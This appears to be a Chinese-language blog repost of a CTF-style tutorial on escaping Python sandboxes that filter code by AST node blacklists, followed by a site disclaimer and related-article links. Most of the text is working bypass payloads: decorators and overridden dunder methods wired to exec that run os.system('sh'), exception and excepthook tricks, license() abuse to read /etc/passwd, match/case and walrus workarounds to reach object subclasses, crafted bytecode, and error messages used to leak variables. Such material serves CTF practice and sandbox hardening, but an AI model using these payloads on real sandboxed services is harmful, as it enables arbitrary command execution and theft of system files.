  • ast.Module: 表示一个整个的模块或者脚本。

  • ast.FunctionDef: 表示一个函数定义。

  • ast.AsyncFunctionDef: 表示一个异步函数定义。

  • ast.ClassDef: 表示一个类定义。

  • ast.Return: 表示一个return语句。

  • ast.Delete: 表示一个del语句。

  • ast.Assign: 表示一个赋值语句。

  • ast.AugAssign: 表示一个增量赋值语句,如x += 1

  • ast.For: 表示一个for循环。

  • ast.While: 表示一个while循环。

  • ast.If: 表示一个if语句。

  • ast.With: 表示一个with语句。

  • ast.Raise: 表示一个raise语句。

  • ast.Try: 表示一个try/except语句。

  • ast.Import: 表示一个import语句。

  • ast.ImportFrom: 表示一个from…import…语句。

  • ast.Expr: 表示一个表达式。

  • ast.Call: 表示一个函数调用。

  • ast.Name: 表示一个变量名。

  • ast.Attribute: 表示一个属性引用,如x.y
    AST 沙箱会将用户的输入转化为操作码,一般情况下考虑绕过 AST 黑名单
    打印AST

import os
import ast 

BAD_ATS = {
  ast.Attribute,
  ast.AST,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

a = '''
[
    system:=111,
    bash:=222
]
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))


for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
  if type(x) in BAD_ATS:
    print(type(x))
    exit()

print("[+] OK")

ast.Call

装饰器

绕过

@exec
@input
class X:
    pass

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单

@help
class X:
    pass
import os

def fake_wrapper(f):
  return '/bin/sh'

@getattr(os,"system")
@fake_wrapper
def something():
  pass

自定义装饰器

import os

def fake_wrapper(f):
  return '/bin/sh'

@os.system
@fake_wrapper
def something():
  pass

函数覆盖

obj[argument]实际上是调用的 obj.__getitem__方法.因此只需要覆盖其 __getitem__方法, 即可在使用 obj[argument]执行代码

>>> class A:
...     __getitem__ = exec
... 
>>> A()['__import__("os").system("ls")']

metaclass

在 Python中,类本身也是对象,元类就是创建这些类(即类对象)的类。
类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性

在不使用构造函数的情况下触发

class Metaclass(type):
    __getitem__ = exec 

class Sub(metaclass=Metaclass):
    pass

Sub['import os; os.system("sh")']

除了 __getitem__之外其他方法的利用方式

__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') # (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
class Metaclass(type):
    __sub__ = exec

class Sub(metaclass=Metaclass):
    pass

Sub-'import os; os.system("sh")'

exceptions

如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec 

raise RCE
class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0

Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__

class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

license

读取文件

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

当调用 license()时会打印这个文件

将 help 类的 __enter__方法覆盖为 license方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的

class MyContext:
    pass

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

ast.Attribute

绕过ast.Attribute获取属性

python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等

item = 2

match item:
    case 1:
        print("One")
    case 2:
        print("Two")

# Two

item = (1, 2)

match item:
    case (x, y, z):
        print(f"{x} {y} {z}")
    case (x, y):
        print(f"{x} {y}")
    case (x,):
        print(f"{x}")

匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x

class AClass:
    def __init__(self, value):
        self.thing = value

item = AClass(32)

match item:
    case AClass(thing=x):
        print(f"Got {x = }!")

# Got x = 32!

可以绕过点号

match str():
    case str(__class__=x):
        print(x==''.__class__)

# True

''.__class__.__base__.__subclasses__()

match str():
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        print(subclazz)

ast.Assign

绕过ast.Assign赋值,可以使用海象表达式
海象表达式解析后是ast.NamedExpr

ast.Constant

限制了数字、字符串
和字符串关键词绕过一样用list+dict

ast.Subscript

限制索引
min 函数可以获取列表中最小的元素,当列表中只有一个元素时,可以直接取值

min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[])))       # _wrap_close
min(list(dict(bash=[])))              # bash

如果要获取字典元素,可以利用 get 函数

match globals:
    case object(get=get_func):
        get_func("system")

ast.For

限制循环
filter、iter、next

def filter_func(subclazzes_item):
    [ _wrap_close:=min(list(dict(_wrap_close=[])))]
    match subclazzes_item:
        case object(__name__=name):
            if name==_wrap_close:
                return subclazzes_item
[
    subclazzes_item:=min(filter(filter_func,subclazzes()))
]

Opcode

修改co_code

python3.11引入专用字节码

import dis
class OpGet:
    def __getattr__(self, op):
        return dis._all_opmap[op]
O = OpGet()

name = 'breakpoint'
cod = bytes([
    O.LOAD_GLOBAL_BUILTIN, 1,
    6, 0, # index, 0
    6, 0, # index, 0
    6, 0, # module key version, 0
    6, 0, # builtins key version, 0
    O.CALL_PY_EXACT_ARGS, 0,
    6, 0, # index, 0
    6, 0, # module key version, 0
    6, 0, # builtins key version, 0
    O.LOAD_ATTR_CLASS, 0,
])
from opcode import opmap

code = bytes([
    111, 1, # LOAD_GLOBAL_BUILTIN
    6,6,6,6,6,6,6,6, # trash
    29, 0, # CALL_BUILTIN_CLASS
    6,6,6,6,6,6, # other trash
    191,0 # unknown opcode -> error
])


print(code.hex())

输出限制

异常处理

  • KeyError(键错误): 当访问字典中不存在的键时引发的错误。(用户输入的键名被应用使用)

  • FileNotFoundError(文件未找到错误): 在尝试打开不存在的文件时引发的错误。

  • ValueError(值错误): 当函数接收到正确类型的参数,但参数值不合适时引发的错误。

KeyError

KeyError 出现在访问字典中不存在的键,利用时,可以随便构造一个字典,然后以需要读取的变量作为键名传进去。

{"1":"2"}[_]
'varxxx'

FileNotFoundError

FileNotFoundError 出现在找不到指定文件时,将需要读取的变量名传入文件操作函数就可以触发异常。例如 file(python2)、open 等。

但由于题目过滤了 e,这些函数都无法使用,如果需要测试的话可以将过滤的语句删除掉。

open(_)
[Errno 2] No such file or directory: 'varxxx'

ValueError

ValueError 比较好利用,只需要将需要读取的变量,传入一个函数,该函数的参数类型与这个要读取的变量不一致即可,例如:

int(_)
ValueError: invalid literal for int() with base 10: 'varxxx

后记

引用与参考链接:


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Web应用&企业产权&域名资产&网络空间&威胁情报
风投巨头Insight Partners遭遇网络攻击,敏感数据或泄露
网络犯罪转向社交媒体,攻击量达历史新高
雅虎数据泄露事件:黑客涉嫌兜售60.2万个电子邮件账户
黑客如何利用提示词工程操纵AI代理?
新型Go语言后门利用Telegram Bot API进行隐蔽命令控制

发布评论